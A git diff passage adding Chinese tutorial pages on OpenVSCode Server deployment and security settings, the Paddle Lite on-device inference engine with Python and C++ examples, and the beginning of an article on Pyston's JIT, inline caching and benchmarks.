Dockerfile.devtools +FROM gitpod/openvscode-server:latest + +USER root + +# 例:为原生模块准备构建链(按项目改) +RUN apt-get update && apt-get install -y --no-install-recommends \ + build-essential python3 git \ + && rm -rf /var/lib/apt/lists/* + +ENV OPENVSCODE_SERVER_ROOT="/home/.openvscode-server" +ENV OPENVSCODE="${OPENVSCODE_SERVER_ROOT}/bin/openvscode-server" + +SHELL ["/bin/bash", "-c"] +RUN \ + urls=( \ + https://github.com/rust-lang/rust-analyzer/releases/download/2024-11-25/rust-analyzer-x86_64-unknown-linux-gnu.vsix \ + ) \ + && tdir=/tmp/exts && mkdir -p "${tdir}" && cd "${tdir}" \ + && wget -q "${urls[@]}" \ + && exts=( \ + esbenp.prettier-vscode \ + rust-lang.rust-analyzer \ + "${tdir}"/* \ + ) \ + && for ext in "${exts[@]}"; do \ + "${OPENVSCODE}" --install-extension "${ext}"; \ + done + +USER openvscode-server +``` + +```bash +docker build -f Dockerfile.devtools -t my-org/openvscode:devtools . +docker run -it --init -p 3000:3000 \ + -v "$(pwd):/home/workspace:cached" \ + my-org/openvscode:devtools +``` + +扩展来源可以是: + +- 扩展 ID(从 Marketplace / Open VSX 拉取,视构建环境而定); +- 本地 `.vsix` 文件(适合内网私有扩展)。 + +--- + +## 常用 CLI 参数速查 + +| 参数 | 含义 | +|------|------| +| `--port` | 监听端口,默认 `3000` | +| `--host` | 绑定地址;远程访问用 `0.0.0.0`,本机试用用 `127.0.0.1` | +| `--connection-token` | 设置访问令牌,URL 带 `?tkn=` | +| `--connection-token-file` | 从文件读 token,便于密钥管理 | +| `--without-connection-token` | 关闭鉴权(Docker 默认) | +| `--install-extension` | 启动前安装扩展,可重复多次 | +| `--help` | 列出完整参数 | + +查看帮助: + +```bash +./bin/openvscode-server --help +``` + +--- + +## 架构一图(心智模型) + +```text +┌──────────────────── 你的笔记本 / iPad / 公用 PC ────────────────────┐ +│ 现代浏览器(Chromium / Safari) │ +│ ┌─────────────────────────────────────────────────────────────┐ │ +│ │ VS Code Web UI(与桌面版同一套 Workbench) │ │ +│ └───────────────────────────┬─────────────────────────────────┘ │ +└──────────────────────────────┼─────────────────────────────────────┘ + │ HTTPS / WSS + ▼ +┌──────────────────── 远程机器 / 容器 ────────────────────────────────┐ +│ openvscode-server 进程 │ +│ ├─ 扩展宿主(Node):LSP、DAP、Git、终端 PTY │ +│ ├─ 文件 API:读写 /home/workspace │ +│ └─ 可选:dev server 端口转发(预览 localhost:3000 前端) │ +└─────────────────────────────────────────────────────────────────────┘ +``` + +与桌面 VS Code 相比,**少的是本地 Electron 壳**,**不少的是编辑、调试、扩展能力**——前提是网络稳定、WebSocket 未被代理掐断。 + +--- + +## 反向代理与 WebSocket + +Nginx 反代示例(片段)——漏配 `Upgrade` 时,典型症状是终端闪断、扩展 host 连不上: + +```nginx +location / { + proxy_pass http://127.0.0.1:3000; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $host; + proxy_read_timeout 86400; +} +``` + +--- + +## 安全清单(零基础也别踩坑) + +1. **公网必带 token 或前置认证**,默认无鉴权等于公开 root 级开发环境(含终端)。 +2. **不要用默认 3000 裸奔在 0.0.0.0**,除非外层有防火墙/IP 白名单。 +3. **工作区卷权限**:容器内 UID 与宿主机文件属主不一致时,会出现「能打开不能保存」——用 `user: "1000:1000"` 或 LinuxServer 等社区镜像的 PUID/PGID 环境变量对齐。 +4. **扩展同样能执行代码**:Marketplace 扩展在服务器上跑,恶意扩展危害远大于「只读网页」。 +5. **升级策略**:跟踪 [Releases](https://github.com/gitpod-io/openvscode-server/releases) 与 VS Code 安全公告;镜像 tag 建议钉版本号而非永远 `latest`(生产)。 + +--- + +## 典型使用场景 + +| 场景 | 为什么选 OpenVSCode Server | +|------|---------------------------| +| 低配 Chromebook 连家里 NAS 写项目 | 算力在 NAS,浏览器只渲染 UI | +| 实验室统一镜像 + 浏览器入口 | Dockerfile 预装扩展,学生零安装 | +| 需要官方 Marketplace 扩展 | 与桌面 VS Code 扩展策略更接近 | +| 短期试用 Codespaces 架构 | 自托管、无 GitHub 绑定 | +| iPad 出差改紧急 hotfix | 完整终端 + Git + 调试,不是玩具编辑器 | + +不适合: + +- 想要**开箱多租户、计费、组织策略** → 用 Gitpod 商业版或 [Coder](https://github.com/coder/coder) 平台层。 +- 想要**和 VS Code 无关的轻量网页编辑器** → 看 [[monaco-editor]] 或 [[theia]]。 + +--- + +## 与相关项目的关系 + +```text +microsoft/vscode (Code - OSS) + │ + ├── 桌面版 VS Code(Electron) + │ + ├── OpenVSCode Server(gitpod-io)── 最小 Server 补丁,上游 Web 架构 + │ └── Gitpod 云 / 自托管编排 + │ + ├── GitHub Codespaces(闭源托管) + │ + └── code-server(coder)── 另一套 patch + Open VSX 路线 +``` + +学习路径建议:先读 [[vscode]] 理解进程模型与 LSP/DAP,再对比 [[code-server]] 与本文,最后按场景选自托管方案。 + +--- + +## 常见问题 + +**Q:OpenVSCode Server 和 VS Code Server(`vscode-server`)是同一个东西吗?** + +A:相关但不等同。微软在 Remote SSH / Codespaces 里用的 `vscode-server` 闭源分发;OpenVSCode Server 是社区可见的、基于 Code - OSS 的 **open 构建**,目标是与上游版本同步升级。 + +**Q:能在树莓派或 ARM 上跑吗?** + +A:看 Release 是否提供对应架构包;Docker 选 multi-arch 镜像。ARM 上跑大型语言服务器仍受内存限制。 + +**Q:设置能在多台设备间同步吗?** + +A:没有桌面版 Settings Sync 那种官方云同步;靠持久化卷、dotfiles 仓库或自建方案。 + +**Q:项目会加 AI 聊天、协作光标吗?** + +A:维护方表态不加 end-user 功能;这类能力请用扩展或外层产品(如 Cursor 类 fork)。 + +--- + +## 小结 + +OpenVSCode Server 解决的不是「做一个新 IDE」,而是**把微软 VS Code 的 Server/Web 架构以最小补丁开源出来**,让你能在自己的机器上获得接近 Gitpod / Codespaces 的浏览器 IDE 体验,同时保留**官方扩展市场**和**跟随上游升级**的路径。 + +零基础记住三句话: + +1. **浏览器里是正牌 Workbench,重活在远端。** +2. **默认 Docker 无 token,上公网必须自己加锁。** +3. **它是基础设施砖块,不是完整云平台——编排得你自己来。** + +下一步:用本文 Docker 命令在本地起实例,装一个你日常用的语言扩展, deliberately 在终端里跑一遍构建/测试,感受与桌面 [[vscode]] 的差异(主要是网络延迟与文件路径都在远端)。 + +--- + +## 参考链接 + +- 仓库:[gitpod-io/openvscode-server](https://github.com/gitpod-io/openvscode-server) +- Docker Hub:[gitpod/openvscode-server](https://hub.docker.com/r/gitpod/openvscode-server) +- 上游编辑器:[microsoft/vscode](https://github.com/microsoft/vscode) +- 对比阅读:[[code-server]]、[[vscode]]、[[monaco-editor]] diff --git a/src/content/docs/projects/paddle-lite.md b/src/content/docs/projects/paddle-lite.md new file mode 100644 index 000000000..ddfb612e2 --- /dev/null +++ b/src/content/docs/projects/paddle-lite.md @@ -0,0 +1,269 @@ +--- +title: Paddle Lite — 把飞桨模型装进手机里的「端侧放映机」 +来源: https://github.com/PaddlePaddle/Paddle-Lite +日期: 2026-06-13 +分类: 操作系统 +子分类: 嵌入式 +难度: 中级 +provenance: pipeline-v3 +--- + +## 是什么 + +**Paddle Lite**(飞桨 Lite)是百度 [PaddlePaddle](https://github.com/PaddlePaddle/Paddle) 生态下的**高性能端侧推理引擎**,源码托管在 [PaddlePaddle/Paddle-Lite](https://github.com/PaddlePaddle/Paddle-Lite)。它面向手机、嵌入式 Linux、边缘盒子等「算力有限、内存紧张、常常离线」的设备,把已经训练好的神经网络**压缩、优化、加速**后跑在本地。 + +日常类比:**如果把 [[pytorch]] / Paddle 训练比作在摄影棚里拍一部 4K 电影——灯光、演员、后期团队一应俱全——那 Paddle Lite 就是装进手机里的「离线放映机」**。 + +放映机不负责拍戏,也不负责把整部电影上传到云端再流式播放;它只做一件事:把已经刻录好的「精简版胶片」(`.nb` 优化模型)按固定顺序播放出来。更关键的是,这台放映机**针对小屏幕设备做了专门调校**:胶片体积更小(naive_buffer 序列化)、播放速度更快(算子融合、Kernel 优选)、耗电更省(`PowerMode` 能耗策略)。类比到生活:你出差住酒店,有的播放器还得先联网验证版权、再下载解码器;Paddle Lite 则是自带解码芯片的便携机——模型和运行时一起打包,拎袋就走。 + +和 [[ncnn]](腾讯、零依赖 C++ 推理)、[[tflite-micro]](几 KB RAM 的 MCU)相比,Paddle Lite 的定位是:**原生吃 Paddle 推理模型**,在 Android / iOS / ARM Linux / x86 等多平台上做**生产级端侧部署**,并通过 NNAdapter 统一对接华为 NPU、高通 QNN、昆仑芯 XPU 等 AI 硬件。 + +## 解决什么问题 + +| 痛点 | 云端推理 | Paddle Lite 的回应 | +| --- | --- | --- | +| 延迟与隐私 | 每次请求都要联网 | **本地推理**,数据不出设备 | +| 模型体积 | Paddle 原生 protobuf 模型偏大 | `opt` 工具转为 **`.nb` naive_buffer**,体积更小 | +| 算力碎片化 | 不同手机芯片差异大 | 支持 **ARM / OpenCL / Metal / NPU** 等多 backend | +| 训练与部署割裂 | 训练框架和移动端运行时不同 | **直接支持 Paddle 推理模型**,配合 X2Paddle 可接其他框架 | +| 性能调优复杂 | 手工选 kernel、融合算子 | **MIR 图优化**:量化、子图融合、混合调度、Kernel 优选 | + +典型落地:图像分类、目标检测、OCR、人脸关键点、人像分割、关键词唤醒——凡是要在**百度系 App、Android/iOS 应用、嵌入式 Linux 设备**上跑 Paddle 模型,Paddle Lite 都是官方正选路径。 + +## 标准工作流 + +Paddle Lite 官方文档把部署流程概括为四步,零基础可以先记住这条主线: + +``` +① 准备模型(Paddle save_inference_model 或 X2Paddle 转换) + ↓ +② opt 优化(量化 / 融合 / 选 kernel → 生成 .nb) + ↓ +③ 下载或编译预测库(C++ / Java / Python) + ↓ +④ 创建 Predictor → 填输入 → Run → 读输出 +``` + +类比:① 是拍好母带;② 是压成适合手机播放的 MP4;③ 是安装播放器 App;④ 是按下播放键。 + +## 核心概念 + +### 1. 推理-only:训练在 PC,设备只「放映」 + +Paddle Lite **不支持设备端训练**(另有实验性 C++ train demo,但主流用法是推理)。设备上的程序不理解 `backward()`,只理解一张静态计算图。 + +### 2. 两种模型格式 + +| 格式 | 说明 | 典型用途 | +| --- | --- | --- | +| **protobuf** | Paddle 原生推理格式(`__model__` + 参数文件) | 开发调试、Full API | +| **naive_buffer(`.nb`)** | opt 优化后的轻量序列化格式 | **移动端部署(Light API)** | + +移动端几乎总是用 `.nb`。一个 `.nb` 文件把结构和权重打包在一起,加载更快、体积更小。 + +### 3. `opt`:模型优化工具 + +`opt`(命令行 `paddle_lite_opt` 或 Python `Opt` 类)是 Paddle Lite 的**离线编译器**。它对 Paddle 模型做: + +- 格式转换(protobuf → naive_buffer) +- 图优化(算子融合、常量折叠、子图裁剪) +- 硬件适配(按 `valid_targets` 选择 ARM / OpenCL / NPU 等 kernel) +- 可选量化(int8 内核加速) + +**未经 opt 优化的 Paddle 模型,不能高效地在 Lite 上跑 Light API。** + +### 4. Place 与 valid_targets + +**Place** 描述「张量和算子在哪个硬件上执行」,由 **Target**(如 `kARM`、`kOpenCL`、`kNPU`)和 **Precision**(fp32 / fp16 / int8)组成。 + +`valid_targets` / `valid_places` 告诉 opt:「我的 App 最终可能跑在哪些硬件上」。opt 会据此预选 kernel,避免运行时才发现某算子不支持 NPU 而崩溃。 + +常见取值:`arm`、`x86`、`opencl`、`npu`、`xpu`、`metal`(iOS GPU)等。 + +### 5. `MobileConfig` 与 `PaddlePredictor` + +- **`MobileConfig`**:配置模型路径、线程数、能耗模式等 +- **`CreatePaddlePredictor` / `create_paddle_predictor`**:根据 config 创建预测器 +- **`PaddlePredictor`**:推理会话对象,提供 `GetInput` / `Run` / `GetOutput` + +C++ 侧还有 **`CxxConfig`**(Full API,直接加载 protobuf 模型,适合开发调试)和 **`MobileConfig`**(Light API,加载 `.nb`,适合上线)。 + +### 6. `Tensor`:输入输出的数据容器 + +`Tensor` 封装 shape、dtype 和底层 buffer。C++ 里用 `Resize` + 指针写入;Python 里用 `from_numpy` / `numpy()` 与 NumPy 互转。 + +### 7. `PowerMode` 与 `set_threads` + +在 ARM 设备上,`PowerMode` 控制 CPU 大核/小核调度策略(如 `LITE_POWER_HIGH`、`LITE_POWER_LOW`),在性能和功耗之间取舍。`set_threads` 设置 CPU 推理线程数,通常设为物理核心数或略少。 + +### 8. Light API vs Full API + +| API | 模型输入 | 特点 | +| --- | --- | --- | +| **Light API** | `.nb` 单文件 | 体积小、加载快,**生产部署首选** | +| **Full API** | protobuf 模型目录 | 跳过 opt 也可跑,方便调试,性能不如 Light | + +### 9. NNAdapter:AI 硬件统一适配层 + +Paddle Lite 通过 **NNAdapter** 对接第三方 NPU(华为麒麟、昇腾、高通 QNN、寒武纪 MLU 等),上层 API 不变,底层自动路由到对应驱动。类比:USB-C 转接头——手机接口统一,插不同厂商的扩展坞都能用。 + +## 与相近项目对比 + +| 维度 | Paddle Lite | [[ncnn]] | [[tflite-micro]] | +| --- | --- | --- | --- | +| 原生模型 | Paddle 推理格式 | `.param` + `.bin` | `.tflite` FlatBuffer | +| 典型平台 | Android / iOS / ARM Linux | 同上 + 桌面 | MCU(无 OS) | +| 语言 API | C++ / Java / Python | 主要是 C++ | C++ | +| 优化工具 | `opt` → `.nb` | pnnx / onnx2ncnn | 模型转换 + 量化 | +| 生态绑定 | 飞桨 / 百度系 | 腾讯系 / 通用 CNN | TensorFlow 系 | + +若你的模型已经在 Paddle 里训练完成,走 Paddle Lite 路径最顺;若模型来自 PyTorch 且不想转 Paddle,[[ncnn]] 或 ONNX Runtime Mobile 可能更直接。 + +## 代码示例 + +### 示例 1:Python — 用 `opt` 把模型转成 `.nb` + +以下流程改编自官方 Python API 文档。假设当前目录有 Paddle 导出的 `mobilenet_v1` 文件夹(非 combined 形式): + +```python +from paddlelite.lite import Opt + +# 1. 创建 opt 实例 +opt = Opt() + +# 2. 指定 Paddle 原生模型目录 +opt.set_model_dir("./mobilenet_v1") + +# 3. 指定目标硬件(移动端常用 arm;桌面调试可用 x86) +opt.set_valid_places("arm") + +# 4. 输出 naive_buffer 格式(移动端必须) +opt.set_model_type("naive_buffer") + +# 5. 输出文件名前缀,实际生成 mobilenetv1_opt.nb +opt.set_optimize_out("mobilenetv1_opt") + +# 6. 执行优化 +opt.run() +``` + +等价的命令行写法(Linux / macOS 安装 `paddlelite` 后自带 `paddle_lite_opt`): + +```bash +paddle_lite_opt \ + --model_dir=./mobilenet_v1 \ + --valid_targets=arm \ + --optimize_out_type=naive_buffer \ + --optimize_out=mobilenetv1_opt +``` + +成功后当前目录会出现 **`mobilenetv1_opt.nb`**,这就是可以打进 APK / 随 App 分发的部署模型。 + +### 示例 2:Python — Light API 推理完整闭环 + +改编自官方 `mobilenetv1_light_api.py` 的五步流程: + +```python +from paddlelite.lite import MobileConfig, create_paddle_predictor +import numpy as np + +# ① 配置:加载 .nb 模型 +config = MobileConfig() +config.set_model_from_file("mobilenetv1_opt.nb") +config.set_threads(4) # 可选:CPU 线程数 + +# ② 创建 predictor +predictor = create_paddle_predictor(config) + +# ③ 准备输入(MobileNet 典型输入 1×3×224×224) +input_tensor = predictor.get_input(0) +input_tensor.from_numpy( + np.random.rand(1, 3, 224, 224).astype("float32") +) + +# ④ 执行推理 +predictor.run() + +# ⑤ 读取输出 +output_tensor = predictor.get_output(0) +scores = output_tensor.numpy() # shape: [1, 1000] +top1 = int(np.argmax(scores)) +print(f"top-1 class index: {top1}, score: {scores[0][top1]:.6f}") +``` + +真实业务里,第三步应把相机帧或图片做 resize、减均值、归一化后再 `from_numpy`,而不是随机数。 + +### 示例 3:C++ — MobileConfig 最小推理 + +C++ 是 Android / iOS 原生集成的常用语言,核心 API 与 Python 一一对应: + +```cpp +#include "paddle_api.h" +using namespace paddle::lite_api; + +MobileConfig config; +config.set_model_from_file("mobilenetv1_opt.nb"); +config.set_threads(4); +config.set_power_mode(LITE_POWER_HIGH); + +std::shared_ptr predictor = + CreatePaddlePredictor(config); + +// 写入输入 +std::unique_ptr input_tensor(std::move(predictor->GetInput(0))); +input_tensor->Resize({1, 3, 224, 224}); +auto* data = input_tensor->mutable_data(); +// TODO: 把预处理后的图像数据拷贝到 data + +// 推理 +predictor->Run(); + +// 读取输出 +std::unique_ptr output_tensor( + std::move(predictor->GetOutput(0))); +const float* out_data = output_tensor->data(); +// out_data[0..999] 即 1000 类 softmax 分数 +``` + +## 安装与工具链速查 + +| 场景 | 做法 | +| --- | --- | +| 桌面 Python 体验 | `pip install paddlelite`(如 2.12) | +| 模型转换 | `paddle_lite_opt` 或 Python `Opt` | +| Android 集成 | 下载预编译 `.so` 或源码编译,Java/C++ API | +| iOS 集成 | 预编译 framework / CocoaPods,支持 Metal | +| 非 Paddle 模型 | 先用 [X2Paddle](https://github.com/PaddlePaddle/X2Paddle) 转换 | + +查看当前 Lite 支持哪些算子: + +```bash +paddle_lite_opt --print_all_ops=true +``` + +查看某模型在指定硬件上是否支持: + +```bash +paddle_lite_opt --print_model_ops=true --model_dir=./mobilenet_v1 --valid_targets=arm +``` + +## 常见坑与排查 + +1. **直接用 protobuf 模型上线** — Light API 需要 `.nb`;忘记跑 opt 是最常见的新手错误。 +2. **valid_targets 与真机不符** — 在 x86 上 opt 出的模型放到 ARM 手机,应重新指定 `--valid_targets=arm`(或同时包含 opencl、npu)。 +3. **输入 shape / 预处理不一致** — 训练时用的 mean/std、RGB/BGR 顺序、NCHW 布局必须在端侧完全一致,否则精度暴跌。 +4. **线程数开太大** — 超过物理核心数反而因调度开销变慢;一般 2~4 是移动端甜点。 +5. **NPU 路径需额外 SDK** — 华为、高通等 NPU 不仅要写 `npu`,还要集成对应厂商运行时库,参考官方各硬件 demo。 + +## 进一步学习 + +- 官方文档:[Paddle Lite 文档](https://www.paddlepaddle.org.cn/lite) +- 示例工程:[Paddle-Lite-Demo](https://github.com/PaddlePaddle/Paddle-Lite-Demo) +- API 参考:[C++](https://www.paddlepaddle.org.cn/lite/develop/api_reference/cxx_api_doc.html) / [Python](https://www.paddlepaddle.org.cn/lite/develop/api_reference/python_api_doc.html) / [Java](https://www.paddlepaddle.org.cn/lite/develop/api_reference/java_api_doc.html) +- 模型优化详解:[模型转化方法](https://www.paddlepaddle.org.cn/lite/develop/user_guides/model_optimize_tool.html) +- 量化加速:[静态离线量化](https://www.paddlepaddle.org.cn/lite/develop/user_guides/quant/quant_post_static.html) +- 相关笔记:[[ncnn]]、[[tflite-micro]]、[[esp-dl]]、[[pytorch]] + +## 小结 + +Paddle Lite 的本质是:**把飞桨训练产物,经过 opt「压片」成 `.nb`,再用 Predictor 在端侧高速播放**。零基础只需记住三个词——**opt、.nb、Predictor**——再配上一段 Python 转换脚本和一段推理脚本,就能在 x86 上跑通第一个 MobileNet 分类 demo。之后按目标平台(Android / iOS / NPU)查官方 demo 集成即可。 diff --git a/src/content/docs/projects/pyston.md b/src/content/docs/projects/pyston.md new file mode 100644 index 000000000..4efa73c0d --- /dev/null +++ b/src/content/docs/projects/pyston.md @@ -0,0 +1,342 @@ +--- +title: Pyston — 给 CPython 装上「快车道」的 JIT 加速器 +来源: 'pyston/pyston' +日期: '2026-06-13' +子分类: 语言运行时 +分类: 编译器 +难度: '高级' +provenance: 'pipeline-v3' +--- + +## 日常类比:高速公路上的 ETC 专用通道 + +想象你每天开车走同一条通勤路线。第一次经过某个路口,你要看路牌、查导航、犹豫该左转还是直行——这就是 **CPython 解释器** 干的事:每行字节码都要「查字典、判类型、走通用慢路径」。 + +开了一周后,你发现「这个路口 99% 情况都是直行」。于是你在挡风玻璃上贴了一张便利贴:**「到 XX 路口 → 直行,不用看牌」**。下次经过,眼睛一扫便利贴就过了,省下查导航的时间。这张便利贴,就是 **inline cache(内联缓存)**。 + +再往后,通勤路线固定了,市政给你办了 **ETC**:整段路预先录好你的车型和惯常路线,闸机直接抬杆放行,不用每站停车缴费。这就是 **JIT(Just-In-Time)编译**:把反复执行的热代码,提前翻译成针对你「车型」(对象类型)的专用机器码。 + +**Pyston** 就是给标准 CPython 装上这套 ETC + 便利贴系统的人。它不教你一门新语言,而是让你在**几乎不改代码**的前提下,让现有 Python 程序跑得更快。 + +项目地址:[pyston/pyston](https://github.com/pyston/pyston)(Dropbox 2014 年启动,2020 年重启为 v2,2022 年推出 pip 可装的 `pyston-lite`)。 + +--- + +## 是什么 + +Pyston 是一个面向 **CPython 的性能优化 JIT**,提供两种形态: + +| 形态 | 说明 | 典型加速 | +| --- | --- | --- | +| **Pyston-full** | fork CPython 3.8.12 的完整发行版,可改解释器、运行时、构建流程 | 宏基准约 **+30%**,pyperformance 约 **+65%** | +| **Pyston-lite** | 以扩展模块形式注入 JIT,`pip install` 即可 | 宏基准约 **+10%**,pyperformance 约 **+25–28%** | + +两者都强调 **drop-in 兼容**:你写的 `import pandas`、`def foo(x): ...` 不用改;差别在于 full 版需要换 Python 解释器,lite 版留在原 CPython 上装个包。 + +--- + +## 解决什么问题(CPython + JIT 加速) + +### 痛点 1:CPython 解释器「每步都要做选择题」 + +Python 是动态类型语言。执行 `a + b` 时,解释器不能假设 `a`、`b` 是 `int` 还是 `float` 还是 `str`,必须走 `PyNumber_Add` 这一通用入口,内部再查类型、分派到具体实现。每一次属性访问 `obj.attr`、每一次方法调用 `obj.method()`,也都要查 `__dict__`、走描述符协议。 + +这些「查字典 + 分支」在数值循环、ORM 热点、Web 请求处理里会被放大成千上万次。**CPython 的瓶颈往往不是算术本身,而是「决定该怎么算」的开销。** + +### 痛点 2:传统优化路线各有代价 + +| 方案 | 优点 | 代价 | +| --- | --- | --- | +| **CPython** | 生态最全、调试最好、ABI 稳定 | 纯解释执行,热路径慢 | +| **PyPy** | 追踪 JIT,部分场景极快 | 启动慢、C 扩展兼容性历史包袱、部署换运行时 | +| **Cython / mypyc** | 静态类型后可接近 C 速度 | 要改代码、加类型注解、构建链变复杂 | +| **重写服务为 Go/Rust** | 上限高 | 团队技能栈迁移、失去 Python 生态 | + +Pyston 的定位是:**不换语言、不大改代码,在 CPython 兼容前提下用 JIT 吃掉解释器开销。** + +### 痛点 3:企业里 Python 已经铺开了,换实现成本高 + +Dropbox 当年用 Python 撑起大规模后端,机器账单随流量线性涨。完全迁移到 PyPy 或重写服务不现实,于是投入 **Pyston v1**(LLVM JIT + 自研运行时)。v2 团队 2019 年重新评估后选择 **fork CPython 3.8**,在成熟生态上叠 JIT,降低切换摩擦;2022 年再推出 **pyston-lite**,把「换解释器」这一步也省掉。 + +--- + +## 核心概念 + +### 1. JIT 编译(Just-In-Time Compilation) + +**思想**:函数或代码块被执行足够多次后,不再逐条解释字节码,而是由 JIT **现场生成机器码**,CPU 直接跑原生指令。 + +Pyston v2 使用 **DynASM**(动态汇编器)做极低开销的 baseline JIT,设计目标来自其源码注释中的明确取舍: + +- 去掉解释器 **dispatch 循环**(取指、跳转下一条)的开销 +- 减少 **引用计数** 与 **值栈 push/pop** 的内存流量 +- 编译速度极快:没有 LLVM IR 多层 pass,**边遍历字节码边吐机器码** +- 支持在 **函数入口** 或 **任意字节码边界** 从解释器切到 JIT,并在每条字节码开头保留 **deoptimization(去优化)** 回退点 + +v1 时代还有 LLVM 优化层(bjit → LLVM tier 两级),热代码执行约 2500 次后会升级到更重优化的机器码;v2 更强调 **快速出码 + 缓存命中**,而非长时间编译换极致峰值。 + +**类比**:解释器是「每道菜现问顾客口味」;JIT 是「这位客人连点三次微辣,第四次直接上微辣,不再问」。 + +### 2. 类型特化(Type Specialization) + +动态语言里,编译器通常**无法证明** `x` 永远是 `int`。Pyston 的做法是 **speculate(推测)+ guard(守卫)**: + +1. 根据历史执行,猜测 `x`、`y` 本次仍是 `float` +2. 生成 **特化版本**:直接调用类似 `PyNumber_MultiplyFloatFloat` 的快速路径 +3. 在入口插入 **类型检查**;若猜测失败,跳回通用慢路径(deopt) + +这叫做 **type specialization**:不是把整个程序变成静态类型,而是在**热路径上为「常见类型组合」生成专用代码**。Pyston 还有 **AOT speculation(提前编译的类型轨迹)**:对某些字节码预先准备好 `float * float` 等轨迹,JIT 直接内联调用,减少运行时分派。 + +**与 CPython 3.11+ 的关系**:CPython 3.11 引入 **specializing adaptive interpreter(自适应特化解释器)**,思路相近,但 Pyston 进一步把热代码 **编译成机器码**,而不只在解释器里换更快的字节码 handler。 + +### 3. Inline Cache(内联缓存,IC) + +这是 Pyston 相对 CPython **最大的单项加速来源**(官方博客称 IC 贡献了大部分超过解释器的性能增益)。 + +**机制**(简化版): + +1. 在 JIT 生成的机器码里,为 `LOAD_ATTR`、`CALL_METHOD` 等操作预留一块 **固定大小的槽位(slot)** +2. **第一次**执行:槽位里是 `nop` + 跳转到 **通用 C API 实现**;通用实现会 **trace(跟踪)** 本次调用的接收者类型、属性偏移、方法指针 +3. **第二次**若类型等假设仍成立:槽位被填成 **特化的小段机器码**(例如「已知 `obj` 是某 class,属性在固定 offset,直接 load」),不再查字典 +4. 假设失效则清空槽位,重新走通用路径 + +**为什么快**:去掉了大量 **动态字典查找** 和 **不可预测分支**,CPU 分支预测器也更友好。IC 槽位大小固定,所以 Pyston 宁愿生成 **更短** 的特化代码,以便在同一段热代码里塞更多槽位。 + +**类比**:第一次点外卖你要翻 App 找「那家店的宫保鸡丁」;App 记住你常点后,首页直接显示「一键再购」——IC 就是 CPU 指令流里的「一键再购」按钮。 + +### 4. 其他配套技术(了解即可) + +- **Quickening**:把常用字节码替换成更快的变体(类似 CPython 3.11 quickening) +- **Aggressive attribute caching**:全局变量、属性路径的积极缓存 +- **Deferred value stack**:JIT 不立即模拟 Python 值栈的 push/pop,而是推迟到真正使用时再分配寄存器,减少内存读写 + +--- + +## 两种产品形态怎么选 + +``` + ┌─────────────────────────────────────┐ + │ 你的 Python 应用 / 服务 │ + └─────────────────┬───────────────────┘ + │ + ┌───────────────────────┴───────────────────────┐ + │ │ + ┌────────▼────────┐ ┌──────────▼──────────┐ + │ Pyston-lite │ │ Pyston-full │ + │ pip 安装扩展 │ │ 替换 python 可执行文件 │ + │ 3.7–3.10 │ │ 基于 CPython 3.8.12 │ + │ 约 +10~28% │ │ 约 +30~65% │ + │ ABI 完全兼容 │ │ C 扩展需重新编译 │ + └─────────────────┘ └─────────────────────┘ +``` + +- **先试 Pyston-lite**:生产环境不能换解释器、依赖大量预编译 wheel 时最合适 +- **再评估 Pyston-full**:能控制运行时、追求更高加速、愿意重编 C 扩展时 + +--- + +## 代码示例 + +### 示例 1:安装与启用 Pyston-lite + +```bash +# 方式 A:自动注入(推荐先试) +pip install pyston-lite pyston-lite-autoload + +# 方式 B:手动启用 +pip install pyston-lite +python -c "import pyston_lite; pyston_lite.enable(); import your_app" + +# 临时禁用自动注入 +DISABLE_PYSTON=1 python your_script.py +``` + +装好后**无需改业务代码**;JIT 在进程启动时挂载,热函数逐步被编译。 + +### 示例 2:一段受益于类型特化 + IC 的数值循环 + +下面这类代码是 Pyston 的「甜区」:`float` 运算密集、循环次数多、属性/方法分派相对少。 + +```python +# bench_float.py — 可用 time 或 pyperformance 对比 CPython vs Pyston +def mandelbrot_size(n: int) -> int: + count = 0 + for i in range(n): + for j in range(n): + c = complex(i / n - 0.5, j / n - 0.5) + z = 0j + for _ in range(80): + if abs(z) > 2.0: + break + z = z * z + c + else: + count += 1 + return count + +if __name__ == "__main__": + import time + t0 = time.perf_counter() + result = mandelbrot_size(128) + elapsed = time.perf_counter() - t0 + print(f"count={result} time={elapsed:.3f}s") +``` + +在 Pyston 上,内层 `z * z + c` 的复数/浮点路径经 JIT 特化后,解释 dispatch 开销显著下降。实际倍率因 CPU(x86 vs ARM)、Python 小版本而异,应以本机 benchmark 为准。 + +### 示例 3:属性访问热点(inline cache 场景) + +```python +class Point: + __slots__ = ("x", "y") + def __init__(self, x, y): + self.x = x + self.y = y + def dist_sq(self): + return self.x * self.x + self.y * self.y + +def sum_distances(points: list, rounds: int) -> float: + total = 0.0 + for _ in range(rounds): + for p in points: + total += p.dist_sq() # LOAD_ATTR + CALL 反复命中 IC + return total + +points = [Point(i, i + 1) for i in range(1000)] +print(sum_distances(points, 200)) +``` + +`p.dist_sq()` 在循环中类型稳定时,IC 会把「查 `Point.dist_sq`」变成近乎固定的内存加载 + 跳转;CPython 解释器每次仍走完整属性查找协议。 + +--- + +## 性能对比(公开基准,仅供参考) + +以下数据来自 Pyston 官方博客与 GitHub README(约 2022 年,相对 **CPython 3.8** 基线,AWS c6i.xlarge 等环境)。**不可直接外推到你的业务**,但可看出量级与甜区。 + +### pyperformance 几何平均(越高越好) + +| 实现 | x86 加速 | ARM 加速 | +| --- | --- | --- | +| Pyston-full 2.3.5 | **+65%** | **+54%** | +| Pyston-lite 2.3.5 | **+28%** | **+25%** | +| CPython 3.11 rc2 | +26% | +10% | + +### Web 服务宏基准(macrobenchmarks) + +| 实现 | x86 | ARM | +| --- | --- | --- | +| Pyston-full | **+35%** | **+25%** | +| Pyston-lite | **+8%** | **+8%** | + +### 单基准亮点(说明类型特化的威力) + +Pyston 2.3.4 相对上一小版本:**richards** 基准约 **+65%**(浮点路径优化);整体 pyperformance 再提升约 **6%**,累计约 **+66%** vs CPython 3.8。 + +**读表时注意**: + +1. **几何平均**会掩盖极端值:有的基准接近 1x,有的能到 2x+ +2. **I/O 密集、大量 C 扩展** 的工作负载加速有限(时间花在 C 库里,JIT 帮不上忙) +3. **CPython 3.11+** 自身已变快,Pyston-lite 相对 3.11 的优势会缩小 +4. 官方称 Pyston 在 **较新的 AMD 处理器** 上有时表现更好,可能与分支预测、IC 代码布局有关 + +--- + +## 架构一图流 + +```text + 源代码 .py + │ + ▼ + 编译为 Code Object(字节码) ← 与 CPython 相同 + │ + ▼ + ┌───────────────────────────────────────────┐ + │ 执行计数 / 热度阈值 │ + 